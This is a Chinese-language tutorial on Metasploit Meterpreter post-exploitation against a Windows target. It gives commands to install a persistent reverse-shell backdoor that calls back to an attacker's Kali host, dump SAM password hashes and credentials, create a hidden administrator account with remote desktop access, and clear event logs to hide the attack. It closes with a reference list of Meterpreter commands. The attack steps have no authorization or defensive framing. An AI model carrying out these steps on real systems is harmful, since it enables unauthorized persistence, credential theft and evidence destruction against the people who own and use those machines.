建立持续后门
当我们成功获取shell后,再次建立链接显得特别麻烦,那么有什么方法可以解决此问题呢。在前期的教程中,我讲过讲msf的进程转移的其他软件的方法,今天来看看另外的一种方法。 执行命令
代码语言:javascript复制run persistence -U -A -i 10 - 8090 -r 192.168.232.194
其中 192.168.232.194
为kali的ip
我们可以看到,在 C:WINDOWSTEMPIGlPDkq.vbs
下生成了一个vbs脚本。并且在注册表中也加入了相应的值,如开机启动。
这样,当对方电脑关机或者重启,我们同样能得到反弹会话。
获取凭证
hashdump模块
(post)可以从SAM数据库中导出本地用户账号,credential_collector脚本(post/windows/gather/credentials)也可以从目标设备中收集令牌信息。
run post/windows/gather/hashdump
脚本和post模块都需要通过“run”命令执行,数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::。
运行程序
我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下:
代码语言:javascript复制execute -f<file> [Options]
运行后它将执行file参数所指定的文件。可选参数如下:
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
创建一个新账号
接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。
代码语言:javascript复制run getgui -u kali -p 123456
启用远程桌面
代码语言:javascript复制rdesktop 目标ip
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启): 当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
清除事件日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令clearev
命令来清除事件日志:
Meterpreter常用命令
1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)
background
(进程隐藏至后台)
sessions
(查看已经成功获取的会话,-i 恢复会话)
quit
(关闭当前会话)
shell
(获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)
irb
(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)
cat
(目标系统文件交互)
getwd
(获取目标机当前工作目录,getlwd本地当前工作工作目录)
upload
(上传文件或文件夹到目标机 -r 递归)
download
(从目标机下载文件或文件夹 -r 递归)
edit
(调用vi编辑器,对目标上的文件进行编辑)
search
(对目标机的文件进行搜索)
3、网络命令(查看目标网络状况、连接信息,进行端口转发等)
ipconfig
(获取目标主机上的网络接口信息)
portfwd
(端口转发:将目标主机开放但不允许访问的端口进行转发)
route
(显示目标主机路由信息)
4、系统命令(查看目标系统信息、对系统进行基本操作等)
ps
(查看目标机正在运行的进程信息)
migrate
(将meterpreter会话进程迁移到另一个进程内存空间)
execute
(在目标机上执行文件)
getpid
(当前会话所在进程的pid值)
kill
(终结指定的pid程序)
getuid
(获取当前会话用户名)
sysinfo
(获取系统信息)
shutdown
(关闭目标主机)
5、用户接口命令
screenshot
(截获被控主机当前桌面)